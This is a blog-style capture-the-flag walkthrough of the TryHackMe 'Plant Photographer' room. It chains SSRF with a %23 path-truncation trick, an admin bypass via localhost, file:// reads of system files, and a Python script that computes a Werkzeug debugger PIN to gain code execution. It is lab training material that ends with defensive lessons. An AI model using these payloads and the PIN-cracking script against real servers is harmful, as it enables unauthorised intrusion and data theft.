← Back to list

Plant Photographer TryHackMe Walkthrough (2026) | SSRF to RCE via Werkzeug Console

What looks like a simple file download feature quickly turns into a full server compromise through SSRF, local file read, and a…

m0ro23 · 2026-03-30 00:29 · 3 claps · 3.0 min read
#cybersecurity #ethical-hacking #tryhackme #web-security #penetration-testing
Open on Medium ↗
Wiki topics: 🌐 · Web Development 🔒 · Cybersecurity 📷 · Photography

Plant Photographer TryHackMe Walkthrough (2026) | SSRF to RCE via Werkzeug Console

What looks like a simple file download feature quickly turns into a full server compromise through SSRF, local file read, and a misconfigured debug console.

Attack Chain:

SSRF → Information Disclosure → Admin Bypass → Local File Read → Werkzeug Console → RCE

Step 1 — Initial Recon

Browsed to http://MACHINE_IP/ and found a personal portfolio website for a botanist photographer named Jay Green. First thing I always do — view page source.

Spotted this immediately:

<a href="/download?server=secure-file-storage.com:8087&id=75482342">
  Download Resume
</a>

And in the sidebar:

<a href="/admin">Admin Area</a>

Running Gobuster confirmed three interesting endpoints:

/admin     (Status: 200)
/console   (Status: 200)
/download  (Status: 200)

The /download endpoint accepts a server parameter with a full URL — classic SSRF setup. The /console is a Werkzeug Interactive Debugger left exposed in production — a critical misconfiguration.

Got a hit on my Python HTTP server — SSRF confirmed.

The app constructs the URL like this:

crl.setopt(crl.URL, server + '/public-docs-k057230990384293/' + filename)

The trick to bypass the appended path is URL-encoding # as %23, which truncates everything after it.

Flag 1 — API Key

Triggered a Werkzeug error by passing an invalid port. The debug traceback leaked the full source code, including this line:

crl.setopt(crl.HTTPHEADER, ['X-API-KEY: THM{Hello_Im_just_an_API_key}'])

The API key was hardcoded directly in the application.

Flag 1: THM{Hello_Im_just_an_API_key}

Flag 2 — SSRF to Bypass Admin

The leaked source code revealed how the admin route works:

@app.route("/admin")
def admin():
    if request.remote_addr == '127.0.0.1':
        return send_from_directory('private-docs', 'flag.pdf')
    return "Admin interface only available from localhost!!!"

The check is purely IP-based. Using SSRF to make the server call itself bypasses it completely:

/download?server=http://127.0.0.1:8087/admin%23&id=1

The %23 cuts off the appended path, so the server requests /admin from localhost, passes the IP check, and returns flag.pdf.

curl "http://MACHINE_IP/download?server=http://127.0.0.1:8087/admin%23&id=1" -o flag.pdf
pdftotext flag.pdf -

Flag 2: THM{c4n_i_haz_flagz_plz?}

Flag 3 — Text File via Werkzeug Console

Reading files via file:// protocol

Since pycurl has no protocol restriction, the file:// scheme works for Local File Read:

curl "http://MACHINE_IP/download?server=file:///usr/src/app/app.py%23&id=1"

This confirmed the app path: /usr/src/app/app.py

Cracking the Werkzeug PIN

To access /console, the PIN is needed. Collected the required info via LFR:

# MAC address
curl "http://MACHINE_IP/download?server=file:///sys/class/net/eth0/address%23&id=1"
# 02:42:ac:14:00:02
# Boot ID
curl "http://MACHINE_IP/download?server=file:///proc/sys/kernel/random/boot_id%23&id=1"
# 7127c587-8bb1-4e41-bfdf-bfb7e06c4c0a
# Cgroup (Docker container ID)
curl "http://MACHINE_IP/download?server=file:///proc/self/cgroup%23&id=1"
# 77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca

Then computed the PIN with this python script:

import hashlib, itertools
mac_int = int('02:42:ac:14:00:02'.replace(':', ''), 16)
machine_id = '7127c587-8bb1-4e41-bfdf-bfb7e06c4c0a' + \
             '77c09e05c4a947224997c3baa49e5edf161fd116568e90a28a60fca6fde049ca'
probably_public_bits = [
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]
private_bits = [str(mac_int), machine_id]
h = hashlib.sha1()
for bit in itertools.chain(probably_public_bits, private_bits):
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
for g in 5, 4, 3:
    if len(num) % g == 0:
        rv = '-'.join(num[x:x+g].lstrip('0') or '0' for x in range(0, len(num), g))
        break
print('PIN:', rv)

Using the Console

Entered the PIN at http://MACHINE_IP/console and listed the app directory:

python

import os
os.listdir('/usr/src/app')
# ['requirements.txt', 'Dockerfile', 'templates', 'public-docs',
#  'private-docs', 'static', 'app.py', 'flag-982374827648721338.txt']

Read the flag:

python

open('/usr/src/app/flag-982374827648721338.txt').read()

Flag 3: THM{xxxxxxxxx_x_xxxx_x_xx}

Key Takeaways

Never hardcode credentials in source code. Never run Werkzeug debug mode in production. Always whitelist URL schemes in server-side fetch operations. IP-based access control is trivially bypassed via SSRF. The file:// protocol in pycurl enables full filesystem read when unsanitized.

The only real trick in this room is the %23 to cut the appended path. Once you spot the SSRF and understand how the URL is constructed, everything else follows naturally. Classic chain attack — small misconfiguration, full compromise.


메타데이터
post_id
a546bfb93ad2
slug
plant-photographer-tryhackme-walkthrough-2026-ssrf-to-rce-via-werkzeug-console-a546bfb93ad2
url
https://medium.com/@m0ro23/plant-photographer-tryhackme-walkthrough-2026-ssrf-to-rce-via-werkzeug-console-a546bfb93ad2
canonical_url
https://medium.com/@m0ro23/plant-photographer-tryhackme-walkthrough-2026-ssrf-to-rce-via-werkzeug-console-a546bfb93ad2
author_url
https://medium.com/@m0ro23
status
ok
fetched_at
2026-06-23 17:05:31